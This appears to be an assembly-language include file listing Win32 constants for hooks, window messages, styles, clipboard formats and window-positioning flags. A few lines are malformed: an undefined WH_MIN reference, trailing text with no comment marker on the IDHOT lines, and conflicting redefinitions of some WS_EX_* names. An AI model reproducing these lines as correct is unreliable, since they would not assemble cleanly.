WH_MSGFILTER EQU -1
WH_JOURNALRECORD EQU 0
WH_JOURNALPLAYBACK EQU 1
WH_KEYBOARD EQU 2
WH_GETMESSAGE EQU 3
WH_CALLWNDPROC EQU 4
WH_CBT EQU 5
WH_SYSMSGFILTER EQU 6
WH_MOUSE EQU 7
WH_HARDWARE EQU 8
WH_DEBUG EQU 9
WH_SHELL EQU 10
WH_FOREGROUNDIDLE EQU 11
WH_CALLWNDPROCRET EQU 12
WH_KEYBOARD_LL EQU 13
WH_MOUSE_LL EQU 14
WH_MAX EQU 14

WH_MINHOOK EQU WH_MIN


WH_MAXHOOK EQU WH_MAX

; Hook Codes

HC_ACTION EQU 0
HC_GETNEXT EQU 1
HC_SKIP EQU 2
HC_NOREMOVE EQU 3
HC_NOREM EQU HC_NOREMOVE
HC_SYSMODALON EQU 4
HC_SYSMODALOFF EQU 5

; CBT Hook Codes

HCBT_MOVESIZE EQU 0
HCBT_MINMAX EQU 1
HCBT_QS EQU 2
HCBT_CREATEWND EQU 3
HCBT_DESTROYWND EQU 4
HCBT_ACTIVATE EQU 5
HCBT_CLICKSKIPPED EQU 6
HCBT_KEYSKIPPED EQU 7
HCBT_SYSCOMMAND EQU 8
HCBT_SETFOCUS EQU 9

; WH_MSGFILTER Filter Proc Codes

MSGF_DIALOGBOX EQU 0
MSGF_MESSAGEBOX EQU 1
MSGF_MENU EQU 2
MSGF_SCROLLBAR EQU 5
MSGF_NEXTWINDOW EQU 6
MSGF_MAX EQU 8 ; unused
MSGF_USER EQU 4096

; Shell support

HSHELL_WINDOWCREATED EQU 1
HSHELL_WINDOWDESTROYED EQU 2
HSHELL_ACTIVATESHELLWINDOW EQU 3
HSHELL_WINDOWACTIVATED EQU 4
HSHELL_GETMINRECT EQU 5
HSHELL_REDRAW EQU 6
HSHELL_TASKMAN EQU 7
HSHELL_LANGUAGE EQU 8
HSHELL_ACCESSIBILITYSTATE EQU 11
ACCESS_STICKYKEYS EQU 0001h
ACCESS_FILTERKEYS EQU 0002h
ACCESS_MOUSEKEYS EQU 0003h

; Low level hook flags

LLKHF_EXTENDED EQU KF_EXTENDED shr 8


LLKHF_INJECTED EQU 00000010h
LLKHF_ALTDOWN EQU KF_ALTDOWN shr 8
LLKHF_UP EQU KF_UP shr 8
LLMHF_INJECTED EQU 00000001h

; Keyboard Layout API

HKL_PREV EQU 0
HKL_NEXT EQU 1

KLF_ACTIVATE EQU 00000001h


KLF_SUBSTITUTE_OK EQU 00000002h
KLF_REORDER EQU 00000008h
KLF_REPLACELANG EQU 00000010h
KLF_NOTELLSHELL EQU 00000080h
KLF_SETFORPROCESS EQU 00000100h

; Size of KeyboardLayoutName (number of characters), including nul terminator

KL_NAMELENGTH EQU 9

; Values for resolution parameter of GetMouseMovePoints

GMMP_USE_DISPLAY_POINTS EQU 1
GMMP_USE_HIGH_RESOLUTION_POINTS EQU 2

; Desktop-specific access flags

DESKTOP_READOBJECTS EQU 0001h


DESKTOP_CREATEWINDOW EQU 0002h
DESKTOP_CREATEMENU EQU 0004h
DESKTOP_HOOKCONTROL EQU 0008h
DESKTOP_JOURNALRECORD EQU 0010h
DESKTOP_JOURNALPLAYBACK EQU 0020h
DESKTOP_ENUMERATE EQU 0040h
DESKTOP_WRITEOBJECTS EQU 0080h
DESKTOP_SWITCHDESKTOP EQU 0100h

; Desktop-specific control flags

DF_ALLOWOTHERACCOUNTHOOK EQU 0001


; Windowstation-specific access flags

WINSTA_ENUMDESKTOPS EQU 0001h


WINSTA_READATTRIBUTES EQU 0002h
WINSTA_ACCESSCLIPBOARD EQU 0004h
WINSTA_CREATEDESKTOP EQU 0008h
WINSTA_WRITEATTRIBUTES EQU 0010h
WINSTA_ACCESSGLOBALATOMS EQU 0020h
WINSTA_EXITWINDOWS EQU 0040h
WINSTA_ENUMERATE EQU 0100h
WINSTA_READSCREEN EQU 0200h

; Windowstation-specific attribute flags

WSF_VISIBLE EQU 0001h

; Window field offsets for GetWindowLong()

GWL_WNDPROC EQU -4
GWL_HINSTANCE EQU -6
GWL_HWNDPARENT EQU -8
GWL_STYLE EQU -16
GWL_EXSTYLE EQU -20
GWL_USERDATA EQU -21
GWL_ID EQU -12

; Class field offsets for GetClassLong()

GCL_MENUNAME EQU -8
GCL_HBRBACKGROUND EQU -10
GCL_HCURSOR EQU -12
GCL_HICON EQU -14
GCL_HMODULE EQU -16
GCL_CBWNDEXTRA EQU -18
GCL_CBCLSEXTRA EQU -20
GCL_WNDPROC EQU -24
GCL_STYLE EQU -26
GCW_ATOM EQU -32
GCL_HICONSM EQU -34

; WM_ACTIVATE state values

WA_INACTIVE EQU 0
WA_ACTIVE EQU 1
WA_CLICKACTIVE EQU 2

; Window Messages

WM_NULL EQU 0000h


WM_CREATE EQU 0001h
WM_DESTROY EQU 0002h
WM_MOVE EQU 0003h
WM_SIZE EQU 0005h
WM_ACTIVATE EQU 0006h
WM_SETFOCUS EQU 0007h
WM_KILLFOCUS EQU 0008h
WM_ENABLE EQU 000Ah
WM_SETREDRAW EQU 000Bh
WM_SETTEXT EQU 000Ch
WM_GETTEXT EQU 000Dh
WM_GETTEXTLENGTH EQU 000Eh
WM_PAINT EQU 000Fh
WM_CLOSE EQU 0010h
WM_QUERYENDSESSION EQU 0011h
WM_QUERYOPEN EQU 0013h
WM_ENDSESSION EQU 0016h
WM_QUIT EQU 0012h
WM_ERASEBKGND EQU 0014h
WM_SYSCOLORCHANGE EQU 0015h
WM_SHOWWINDOW EQU 0018h
WM_WININICHANGE EQU 001Ah
WM_SETTINGCHANGE EQU WM_WININICHANGE
WM_DEVMODECHANGE EQU 001Bh
WM_ACTIVATEAPP EQU 001Ch
WM_FONTCHANGE EQU 001Dh
WM_TIMECHANGE EQU 001Eh
WM_CANCELMODE EQU 001Fh
WM_SETCURSOR EQU 0020h
WM_MOUSEACTIVATE EQU 0021h
WM_CHILDACTIVATE EQU 0022h
WM_QUEUESYNC EQU 0023h
WM_GETMINMAXINFO EQU 0024h
WM_PAINTICON EQU 0026h
WM_ICONERASEBKGND EQU 0027h
WM_NEXTDLGCTL EQU 0028h
WM_SPOOLERSTATUS EQU 002Ah
WM_DRAWITEM EQU 002Bh
WM_MEASUREITEM EQU 002Ch
WM_DELETEITEM EQU 002Dh
WM_VKEYTOITEM EQU 002Eh
WM_CHARTOITEM EQU 002Fh
WM_SETFONT EQU 0030h
WM_GETFONT EQU 0031h
WM_SETHOTKEY EQU 0032h
WM_GETHOTKEY EQU 0033h
WM_QUERYDRAGICON EQU 0037h
WM_COMPAREITEM EQU 0039h
WM_GETOBJECT EQU 003Dh
WM_COMPACTING EQU 0041h
WM_WINDOWPOSCHANGING EQU 0046h
WM_WINDOWPOSCHANGED EQU 0047h
WM_POWER EQU 0048h
WM_COPYDATA EQU 004Ah
WM_CANCELJOURNAL EQU 004Bh
WM_NOTIFY EQU 004Eh
WM_INPUTLANGCHANGEREQUEST EQU 0050h
WM_INPUTLANGCHANGE EQU 0051h
WM_TCARD EQU 0052h
WM_HELP EQU 0053h
WM_USERCHANGED EQU 0054h
WM_NOTIFYFORMAT EQU 0055h
WM_CONTEXTMENU EQU 007Bh
WM_STYLECHANGING EQU 007Ch
WM_STYLECHANGED EQU 007Dh
WM_DISPLAYCHANGE EQU 007Eh
WM_GETICON EQU 007Fh
WM_SETICON EQU 0080h
WM_NCCREATE EQU 0081h
WM_NCDESTROY EQU 0082h
WM_NCCALCSIZE EQU 0083h
WM_NCHITTEST EQU 0084h
WM_NCPAINT EQU 0085h
WM_NCACTIVATE EQU 0086h
WM_GETDLGCODE EQU 0087h
WM_SYNCPAINT EQU 0088h
WM_NCMOUSEMOVE EQU 00A0h
WM_NCLBUTTONDOWN EQU 00A1h
WM_NCLBUTTONUP EQU 00A2h
WM_NCLBUTTONDBLCLK EQU 00A3h
WM_NCRBUTTONDOWN EQU 00A4h
WM_NCRBUTTONUP EQU 00A5h
WM_NCRBUTTONDBLCLK EQU 00A6h
WM_NCMBUTTONDOWN EQU 00A7h
WM_NCMBUTTONUP EQU 00A8h
WM_NCMBUTTONDBLCLK EQU 00A9h
WM_KEYFIRST EQU 0100h
WM_KEYDOWN EQU 0100h
WM_KEYUP EQU 0101h
WM_CHAR EQU 0102h
WM_DEADCHAR EQU 0103h
WM_SYSKEYDOWN EQU 0104h
WM_SYSKEYUP EQU 0105h
WM_SYSCHAR EQU 0106h
WM_SYSDEADCHAR EQU 0107h
WM_KEYLAST EQU 0108h
WM_IME_STARTCOMPOSITION EQU 010Dh
WM_IME_ENDCOMPOSITION EQU 010Eh
WM_IME_COMPOSITION EQU 010Fh
WM_IME_KEYLAST EQU 010Fh
WM_INITDIALOG EQU 0110h
WM_COMMAND EQU 0111h
WM_SYSCOMMAND EQU 0112h
WM_TIMER EQU 0113h
WM_HSCROLL EQU 0114h
WM_VSCROLL EQU 0115h
WM_INITMENU EQU 0116h
WM_INITMENUPOPUP EQU 0117h
WM_MENUSELECT EQU 011Fh
WM_MENUCHAR EQU 0120h
WM_ENTERIDLE EQU 0121h
WM_MENURBUTTONUP EQU 0122h
WM_MENUDRAG EQU 0123h
WM_MENUGETOBJECT EQU 0124h
WM_UNINITMENUPOPUP EQU 0125h
WM_MENUCOMMAND EQU 0126h
WM_KEYBOARDCUES EQU 0127h
WM_CTLCOLORMSGBOX EQU 0132h
WM_CTLCOLOREDIT EQU 0133h
WM_CTLCOLORLISTBOX EQU 0134h
WM_CTLCOLORBTN EQU 0135h
WM_CTLCOLORDLG EQU 0136h
WM_CTLCOLORSCROLLBAR EQU 0137h
WM_CTLCOLORSTATIC EQU 0138h
WM_MOUSEFIRST EQU 0200h
WM_MOUSEMOVE EQU 0200h
WM_LBUTTONDOWN EQU 0201h
WM_LBUTTONUP EQU 0202h
WM_LBUTTONDBLCLK EQU 0203h
WM_RBUTTONDOWN EQU 0204h
WM_RBUTTONUP EQU 0205h
WM_RBUTTONDBLCLK EQU 0206h
WM_MBUTTONDOWN EQU 0207h
WM_MBUTTONUP EQU 0208h
WM_MBUTTONDBLCLK EQU 0209h
WM_MOUSEWHEEL EQU 020Ah
WM_MOUSELAST EQU 0209h
WM_PARENTNOTIFY EQU 0210h
WM_ENTERMENULOOP EQU 0211h
WM_EXITMENULOOP EQU 0212h
WM_NEXTMENU EQU 0213h
WM_SIZING EQU 0214h
WM_CAPTURECHANGED EQU 0215h
WM_MOVING EQU 0216h
WM_POWERBROADCAST EQU 0218h
WM_DEVICECHANGE EQU 0219h
WM_MDICREATE EQU 0220h
WM_MDIDESTROY EQU 0221h
WM_MDIACTIVATE EQU 0222h
WM_MDIRESTORE EQU 0223h
WM_MDINEXT EQU 0224h
WM_MDIMAXIMIZE EQU 0225h
WM_MDITILE EQU 0226h
WM_MDICASCADE EQU 0227h
WM_MDIICONARRANGE EQU 0228h
WM_MDIGETACTIVE EQU 0229h
WM_MDISETMENU EQU 0230h
WM_ENTERSIZEMOVE EQU 0231h
WM_EXITSIZEMOVE EQU 0232h
WM_DROPFILES EQU 0233h
WM_MDIREFRESHMENU EQU 0234h
WM_IME_SETCONTEXT EQU 0281h
WM_IME_NOTIFY EQU 0282h
WM_IME_CONTROL EQU 0283h
WM_IME_COMPOSITIONFULL EQU 0284h
WM_IME_SELECT EQU 0285h
WM_IME_CHAR EQU 0286h
WM_IME_REQUEST EQU 0288h
WM_IME_KEYDOWN EQU 0290h
WM_IME_KEYUP EQU 0291h
WM_MOUSEHOVER EQU 02A1h
WM_MOUSELEAVE EQU 02A3h
WM_NCMOUSEHOVER EQU 02A0h
WM_NCMOUSELEAVE EQU 02A2h
WM_CUT EQU 0300h
WM_COPY EQU 0301h
WM_PASTE EQU 0302h
WM_CLEAR EQU 0303h
WM_UNDO EQU 0304h
WM_RENDERFORMAT EQU 0305h
WM_RENDERALLFORMATS EQU 0306h
WM_DESTROYCLIPBOARD EQU 0307h
WM_DRAWCLIPBOARD EQU 0308h
WM_PAINTCLIPBOARD EQU 0309h
WM_VSCROLLCLIPBOARD EQU 030Ah
WM_SIZECLIPBOARD EQU 030Bh
WM_ASKCBFORMATNAME EQU 030Ch
WM_CHANGECBCHAIN EQU 030Dh
WM_HSCROLLCLIPBOARD EQU 030Eh
WM_QUERYNEWPALETTE EQU 030Fh
WM_PALETTEISCHANGING EQU 0310h
WM_PALETTECHANGED EQU 0311h
WM_HOTKEY EQU 0312h
WM_PRINT EQU 0317h
WM_PRINTCLIENT EQU 0318h
WM_HANDHELDFIRST EQU 0358h
WM_HANDHELDLAST EQU 035Fh
WM_AFXFIRST EQU 0360h
WM_AFXLAST EQU 037Fh
WM_PENWINFIRST EQU 0380h
WM_PENWINLAST EQU 038Fh
WM_APP EQU 8000h
WM_USER EQU 0400h

; Windows Message Size

WMSZ_LEFT EQU 1
WMSZ_RIGHT EQU 2
WMSZ_TOP EQU 3
WMSZ_TOPLEFT EQU 4
WMSZ_TOPRIGHT EQU 5
WMSZ_BOTTOM EQU 6
WMSZ_BOTTOMLEFT EQU 7
WMSZ_BOTTOMRIGHT EQU 8

; wParam for WM_POWER window message and DRV_POWER driver notification

PWR_OK EQU 1
PWR_FAIL EQU -1
PWR_SUSPENDREQUEST EQU 1
PWR_SUSPENDRESUME EQU 2
PWR_CRITICALRESUME EQU 3

NFR_ANSI EQU 1
NFR_UNICODE EQU 2
NF_QUERY EQU 3
NF_REQUERY EQU 4

; LOWORD(wParam) in WM_KEYBOARDCUES

KC_SHOW EQU 1
KC_HIDE EQU 2
KC_QUERY EQU 3

; HIWORD(wParam) in WM_KEYBOARDCUES

KCF_FOCUS EQU 1
KCF_ACCEL EQU 2

WHEEL_DELTA EQU 120 ;Value for rolling one detent


;WHEEL_PAGESCROLL EQU (UINT_MAX) ;Scroll one page

; Advanced Power Management

PBT_APMQUERYSUSPEND EQU 0000h


PBT_APMQUERYSTANDBY EQU 0001h
PBT_APMQUERYSUSPENDFAILED EQU 0002h
PBT_APMQUERYSTANDBYFAILED EQU 0003h
PBT_APMSUSPEND EQU 0004h
PBT_APMSTANDBY EQU 0005h
PBT_APMRESUMECRITICAL EQU 0006h
PBT_APMRESUMESUSPEND EQU 0007h
PBT_APMRESUMESTANDBY EQU 0008h
PBT_APMBATTERYLOW EQU 0009h
PBT_APMPOWERSTATUSCHANGE EQU 000Ah
PBT_APMOEMEVENT EQU 000Bh
PBT_APMRESUMEAUTOMATIC EQU 0012h

PBTF_APMRESUMEFROMFAILURE EQU 00000001

;MOUSEHOOKSTRUCT STRUC
; pt POINT <?>
; mh_hwnd DD ?
; wHitTestCode DD ?
; dwExtraInfo DD ?
;MOUSEHOOKSTRUCT ENDS

; WM_NCHITTEST and MOUSEHOOKSTRUCT Mouse Position Codes

HTERROR EQU -2
HTTRANSPARENT EQU -1
HTNOWHERE EQU 0
HTCLIENT EQU 1
HTCAPTION EQU 2
HTSYSMENU EQU 3
HTGROWBOX EQU 4
HTSIZE EQU HTGROWBOX
HTMENU EQU 5
HTHSCROLL EQU 6
HTVSCROLL EQU 7
HTMINBUTTON EQU 8
HTMAXBUTTON EQU 9
HTLEFT EQU 10
HTRIGHT EQU 11
HTTOP EQU 12
HTTOPLEFT EQU 13
HTTOPRIGHT EQU 14
HTBOTTOM EQU 15
HTBOTTOMLEFT EQU 16
HTBOTTOMRIGHT EQU 17
HTBORDER EQU 18
HTREDUCE EQU HTMINBUTTON
HTZOOM EQU HTMAXBUTTON
HTSIZEFIRST EQU HTLEFT
HTSIZELAST EQU HTBOTTOMRIGHT
HTOBJECT EQU 19
HTCLOSE EQU 20
HTHELP EQU 21

; SendMessageTimeout values

SMTO_NORMAL EQU 0000h


SMTO_BLOCK EQU 0001h
SMTO_ABORTIFHUNG EQU 0002h
SMTO_NOTIMEOUTIFNOTHUNG EQU 0008h

; WM_MOUSEACTIVATE Return Codes

MA_ACTIVATE EQU 1
MA_ACTIVATEANDEAT EQU 2
MA_NOACTIVATE EQU 3
MA_NOACTIVATEANDEAT EQU 4

; WM_SETICON / WM_GETICON Type Codes

ICON_SMALL EQU 0
ICON_BIG EQU 1

; WM_SIZE message wParam values

SIZE_RESTORED EQU 0
SIZE_MINIMIZED EQU 1
SIZE_MAXIMIZED EQU 2
SIZE_MAXSHOW EQU 3
SIZE_MAXHIDE EQU 4

; WM_NCCALCSIZE "window valid rect" return values


WVR_ALIGNTOP EQU 0010h
WVR_ALIGNLEFT EQU 0020h
WVR_ALIGNBOTTOM EQU 0040h
WVR_ALIGNRIGHT EQU 0080h
WVR_HREDRAW EQU 0100h
WVR_VREDRAW EQU 0200h
WVR_REDRAW EQU (WVR_HREDRAW OR WVR_VREDRAW)
WVR_VALIDRECTS EQU 0400h

; Key State Masks for Mouse Messages

MK_LBUTTON EQU 0001h


MK_RBUTTON EQU 0002h
MK_SHIFT EQU 0004h
MK_CONTROL EQU 0008h
MK_MBUTTON EQU 0010h

TME_HOVER EQU 00000001h


TME_LEAVE EQU 00000002h
TME_NONCLIENT EQU 00000010h
TME_QUERY EQU 40000000h
TME_CANCEL EQU 80000000h

HOVER_DEFAULT EQU 0FFFFFFFFh

; Window styles

WS_OVERLAPPED EQU 00000000h


WS_POPUP EQU 80000000h
WS_CHILD EQU 40000000h
WS_MINIMIZE EQU 20000000h
WS_VISIBLE EQU 10000000h
WS_DISABLED EQU 08000000h
WS_CLIPSIBLINGS EQU 04000000h
WS_CLIPCHILDREN EQU 02000000h
WS_MAXIMIZE EQU 01000000h
WS_CAPTION EQU 00C00000h ;!!!!WS_BORDER OR WS_DLGFRAME
WS_BORDER EQU 00800000h
WS_DLGFRAME EQU 00400000h
WS_VSCROLL EQU 00200000h
WS_HSCROLL EQU 00100000h
WS_SYSMENU EQU 00080000h
WS_THICKFRAME EQU 00040000h
WS_GROUP EQU 00020000h
WS_TABSTOP EQU 00010000h
WS_MINIMIZEBOX EQU 00020000h
WS_MAXIMIZEBOX EQU 00010000h
WS_TILED EQU WS_OVERLAPPED
WS_ICONIC EQU WS_MINIMIZE
WS_SIZEBOX EQU WS_THICKFRAME
WS_TILEDWINDOW EQU WS_OVERLAPPEDWINDOW

WS_OVERLAPPEDWINDOW EQU (WS_OVERLAPPED OR \


WS_CAPTION OR \
WS_SYSMENU OR \
WS_THICKFRAME OR \
WS_MINIMIZEBOX OR \
WS_MAXIMIZEBOX)

WS_POPUPWINDOW EQU (WS_POPUP OR \


WS_BORDER OR \
WS_SYSMENU)
WS_CHILDWINDOW EQU WS_CHILD

; Extended Window Styles

WS_EX_DLGMODALFRAME EQU 00000001h


WS_EX_NOPARENTNOTIFY EQU 00000004h
WS_EX_TOPMOST EQU 00000008h
WS_EX_ACCEPTFILES EQU 00000010h
WS_EX_TRANSPARENT EQU 00000020h
WS_EX_MDICHILD EQU 00000040h
WS_EX_TOOLWINDOW EQU 00000080h
WS_EX_WINDOWEDGE EQU 00000100h
WS_EX_CLIENTEDGE EQU 00000200h
WS_EX_CONTEXTHELP EQU 00000400h
WS_EX_RIGHT EQU 00001000h
WS_EX_LEFT EQU 00000000h
WS_EX_RTLREADING EQU 00002000h
WS_EX_LTRREADING EQU 00000000h
WS_EX_LEFTSCROLLBAR EQU 00004000h
WS_EX_RIGHTSCROLLBAR EQU 00000000h
WS_EX_CONTROLPARENT EQU 00010000h
WS_EX_STATICEDGE EQU 00020000h
WS_EX_APPWINDOW EQU 00040000h
WS_EX_OVERLAPPEDWINDOW EQU (WS_EX_WINDOWEDGE OR WS_EX_CLIENTEDGE)
WS_EX_PALETTEWINDOW EQU (WS_EX_WINDOWEDGE OR WS_EX_TOOLWINDOW OR WS_EX_TOPMOST)
WS_EX_LAYERED EQU 00080000h
WS_EX_NOINHERITLAYOUT EQU 00100000h ; Disable inheritence of mirroring by children
WS_EX_LAYOUTRTL EQU 00400000h ; Right to left mirroring
WS_EX_NOACTIVATE EQU 08000000h
; Extended Window Styles (low words)
WS_EX_DLGMODALFRAME = 0001
WS_EX_DRAGOBJECT = 0002
WS_EX_NOPARENTNOTIFY = 0004
WS_EX_TOPMOST = 0008

; Class styles

CS_VREDRAW EQU 0001h


CS_HREDRAW EQU 0002h
CS_DBLCLKS EQU 0008h
CS_OWNDC EQU 0020h
CS_CLASSDC EQU 0040h
CS_PARENTDC EQU 0080h
CS_NOCLOSE EQU 0200h
CS_SAVEBITS EQU 0800h
CS_BYTEALIGNCLIENT EQU 1000h
CS_BYTEALIGNWINDOW EQU 2000h
CS_GLOBALCLASS EQU 4000h
CW_USEDEFAULT EQU 8000h
CS_IME EQU 00010000h

;WM_PRINT flags

PRF_CHECKVISIBLE EQU 00000001h


PRF_NONCLIENT EQU 00000002h
PRF_CLIENT EQU 00000004h
PRF_ERASEBKGND EQU 00000008h
PRF_CHILDREN EQU 00000010h
PRF_OWNED EQU 00000020h

; 3D border styles

BDR_RAISEDOUTER EQU 0001h


BDR_SUNKENOUTER EQU 0002h
BDR_RAISEDINNER EQU 0004h
BDR_SUNKENINNER EQU 0008h
BDR_OUTER EQU (BDR_RAISEDOUTER OR BDR_SUNKENOUTER)
BDR_INNER EQU (BDR_RAISEDINNER OR BDR_SUNKENINNER)
BDR_RAISED EQU (BDR_RAISEDOUTER OR BDR_RAISEDINNER)
BDR_SUNKEN EQU (BDR_SUNKENOUTER OR BDR_SUNKENINNER)
EDGE_RAISED EQU (BDR_RAISEDOUTER OR BDR_RAISEDINNER)
EDGE_SUNKEN EQU (BDR_SUNKENOUTER OR BDR_SUNKENINNER)
EDGE_ETCHED EQU (BDR_SUNKENOUTER OR BDR_RAISEDINNER)
EDGE_BUMP EQU (BDR_RAISEDOUTER OR BDR_SUNKENINNER)

; Border flags

BF_LEFT EQU 0001h


BF_TOP EQU 0002h
BF_RIGHT EQU 0004h
BF_BOTTOM EQU 0008h
BF_TOPLEFT EQU (BF_TOP OR BF_LEFT)
BF_TOPRIGHT EQU (BF_TOP OR BF_RIGHT)
BF_BOTTOMLEFT EQU (BF_BOTTOM OR BF_LEFT)
BF_BOTTOMRIGHT EQU (BF_BOTTOM OR BF_RIGHT)
BF_RECT EQU (BF_LEFT OR BF_TOP OR BF_RIGHT OR BF_BOTTOM)
BF_DIAGONAL EQU 0010

; For diagonal lines, the BF_RECT flags specify the end point of the
; vector bounded by the rectangle parameter.

BF_DIAGONAL_ENDTOPRIGHT EQU (BF_DIAGONAL OR BF_TOP OR BF_RIGHT)


BF_DIAGONAL_ENDTOPLEFT EQU (BF_DIAGONAL OR BF_TOP OR BF_LEFT)
BF_DIAGONAL_ENDBOTTOMLEFT EQU (BF_DIAGONAL OR BF_BOTTOM OR BF_LEFT)
BF_DIAGONAL_ENDBOTTOMRIGHT EQU (BF_DIAGONAL OR BF_BOTTOM OR BF_RIGHT)

BF_MIDDLE EQU 0800h ;Fill in the middle


BF_SOFT EQU 1000h ;For softer buttons
BF_ADJUST EQU 2000h ;Calculate the space left over
BF_FLAT EQU 4000h ;For flat rather than 3D borders
BF_MONO EQU 8000h ;For monochrome borders

; flags for DrawFrameControl

DFC_CAPTION EQU 1
DFC_MENU EQU 2
DFC_SCROLL EQU 3
DFC_BUTTON EQU 4
DFC_POPUPMENU EQU 5
DFCS_CAPTIONCLOSE EQU 0000h
DFCS_CAPTIONMIN EQU 0001h
DFCS_CAPTIONMAX EQU 0002h
DFCS_CAPTIONRESTORE EQU 0003h
DFCS_CAPTIONHELP EQU 0004h
DFCS_MENUARROW EQU 0000h
DFCS_MENUCHECK EQU 0001h
DFCS_MENUBULLET EQU 0002h
DFCS_MENUARROWRIGHT EQU 0004h
DFCS_SCROLLUP EQU 0000h
DFCS_SCROLLDOWN EQU 0001h
DFCS_SCROLLLEFT EQU 0002h
DFCS_SCROLLRIGHT EQU 0003h
DFCS_SCROLLCOMBOBOX EQU 0005h
DFCS_SCROLLSIZEGRIP EQU 0008h
DFCS_SCROLLSIZEGRIPRIGHT EQU 0010h
DFCS_BUTTONCHECK EQU 0000h
DFCS_BUTTONRADIOIMAGE EQU 0001h
DFCS_BUTTONRADIOMASK EQU 0002h
DFCS_BUTTONRADIO EQU 0004h
DFCS_BUTTON3STATE EQU 0008h
DFCS_BUTTONPUSH EQU 0010h
DFCS_INACTIVE EQU 0100h
DFCS_PUSHED EQU 0200h
DFCS_CHECKED EQU 0400h
DFCS_TRANSPARENT EQU 0800h
DFCS_HOT EQU 1000h
DFCS_ADJUSTRECT EQU 2000h
DFCS_FLAT EQU 4000h
DFCS_MONO EQU 8000h

; flags for DrawCaption

DC_ACTIVE EQU 0001h


DC_SMALLCAP EQU 0002h
DC_ICON EQU 0004h
DC_TEXT EQU 0008h
DC_INBUTTON EQU 0010h
DC_GRADIENT EQU 0020h
IDANI_OPEN EQU 1

; Predefined Clipboard Formats

CF_TEXT EQU 1
CF_BITMAP EQU 2
CF_METAFILEPICT EQU 3
CF_SYLK EQU 4
CF_DIF EQU 5
CF_TIFF EQU 6
CF_OEMTEXT EQU 7
CF_DIB EQU 8
CF_PALETTE EQU 9
CF_PENDATA EQU 10
CF_RIFF EQU 11
CF_WAVE EQU 12
CF_UNICODETEXT EQU 13
CF_ENHMETAFILE EQU 14
CF_HDROP EQU 15
CF_LOCALE EQU 16
CF_DIBV5 EQU 17
CF_MAX EQU 18
CF_OWNERDISPLAY EQU 0080h
CF_DSPTEXT EQU 0081h
CF_DSPBITMAP EQU 0082h
CF_DSPMETAFILEPICT EQU 0083h
CF_DSPENHMETAFILE EQU 008Eh
CF_PRIVATEFIRST EQU 0200h
CF_PRIVATELAST EQU 02FFh
CF_GDIOBJFIRST EQU 0300h
CF_GDIOBJLAST EQU 03FFh

; Defines for the fVirt field of the Accelerator table structure.

FVIRTKEY EQU TRUE


FNOINVERT EQU 02h
FSHIFT EQU 04h
FCONTROL EQU 08h
FALT EQU 10h

; Owner draw control types


ODT_MENU EQU 1
ODT_LISTBOX EQU 2
ODT_COMBOBOX EQU 3
ODT_BUTTON EQU 4
ODT_STATIC EQU 5

; Owner draw actions

ODA_DRAWENTIRE EQU 0001h


ODA_SELECT EQU 0002h
ODA_FOCUS EQU 0004h

; Owner draw state

ODS_SELECTED EQU 0001h


ODS_GRAYED EQU 0002h
ODS_DISABLED EQU 0004h
ODS_CHECKED EQU 0008h
ODS_FOCUS EQU 0010h
ODS_DEFAULT EQU 0020h
ODS_COMBOBOXEDIT EQU 1000h
ODS_HOTLIGHT EQU 0040h
ODS_INACTIVE EQU 0080h
ODS_NOACCEL EQU 0100h
ODS_NOFOCUSRECT EQU 0200h

; PeekMessage() Options

PM_NOREMOVE EQU 0000h


PM_REMOVE EQU 0001h
PM_NOYIELD EQU 0002h
PM_QS_INPUT EQU QS_INPUT shl 16
PM_QS_POSTMESSAGE EQU (QS_POSTMESSAGE OR QS_HOTKEY OR QS_TIMER) shl 16
PM_QS_PAINT EQU QS_PAINT shl 16
PM_QS_SENDMESSAGE EQU QS_SENDMESSAGE shl 16

MOD_ALT EQU 0001h


MOD_CONTROL EQU 0002h
MOD_SHIFT EQU 0004h
MOD_WIN EQU 0008h

IDHOT_SNAPWINDOW EQU (-1) SHIFT-PRINTSCRN


IDHOT_SNAPDESKTOP EQU (-2) PRINTSCRN

; End Windows Flags

ENDSESSION_LOGOFF EQU 80000000h


EWX_LOGOFF EQU 0
EWX_SHUTDOWN EQU 00000001h
EWX_REBOOT EQU 00000002h
EWX_FORCE EQU 00000004h
EWX_POWEROFF EQU 00000008h
EWX_FORCEIFHUNG EQU 00000010h

;Broadcast Special Message Recipient list

BSM_ALLCOMPONENTS EQU 00000000h


BSM_VXDS EQU 00000001h
BSM_NETDRIVER EQU 00000002h
BSM_INSTALLABLEDRIVERS EQU 00000004h
BSM_APPLICATIONS EQU 00000008h
BSM_ALLDESKTOPS EQU 00000010h
;Broadcast Special Message Flags

BSF_QUERY EQU 00000001h


BSF_IGNORECURRENTTASK EQU 00000002h
BSF_FLUSHDISK EQU 00000004h
BSF_NOHANG EQU 00000008h
BSF_POSTMESSAGE EQU 00000010h
BSF_FORCEIFHUNG EQU 00000020h
BSF_NOTIMEOUTIFNOTHUNG EQU 00000040h
BSF_ALLOWSFW EQU 00000080h

BROADCAST_QUERY_DENY EQU 424D5144h ; Return this value to deny a query.

; RegisterDeviceNotification

DEVICE_NOTIFY_WINDOW_HANDLE EQU 00000000h


DEVICE_NOTIFY_SERVICE_HANDLE EQU 00000001h

; InSendMessageEx return value

ISMEX_NOSEND EQU 00000000h


ISMEX_SEND EQU 00000001h
ISMEX_NOTIFY EQU 00000002h
ISMEX_CALLBACK EQU 00000004h
ISMEX_REPLIED EQU 00000008h

FLASHW_STOP EQU 0
FLASHW_CAPTION EQU 00000001h
FLASHW_TRAY EQU 00000002h
FLASHW_ALL EQU (FLASHW_CAPTION OR FLASHW_TRAY)
FLASHW_TIMER EQU 00000004h
FLASHW_TIMERNOFG EQU 0000000Ch

; SetWindowPos Flags

SWP_NOSIZE EQU 0001h


SWP_NOMOVE EQU 0002h
SWP_NOZORDER EQU 0004h
SWP_NOREDRAW EQU 0008h
SWP_NOACTIVATE EQU 0010h
SWP_FRAMECHANGED EQU 0020h ; The frame changed: send WM_NCCALCSIZE
SWP_SHOWWINDOW EQU 0040h
SWP_HIDEWINDOW EQU 0080h
SWP_NOCOPYBITS EQU 0100h
SWP_NOOWNERZORDER EQU 0200h ; Don't do owner Z ordering
SWP_NOSENDCHANGING EQU 0400h ; Don't send WM_WINDOWPOSCHANGING
SWP_DRAWFRAME EQU SWP_FRAMECHANGED
SWP_NOREPOSITION EQU SWP_NOOWNERZORDER
SWP_DEFERERASE EQU 2000h
SWP_ASYNCWINDOWPOS EQU 4000h

HWND_TOP EQU 0
HWND_BOTTOM EQU 1
HWND_TOPMOST EQU -1
HWND_NOTOPMOST EQU -2

; Mouse event flags

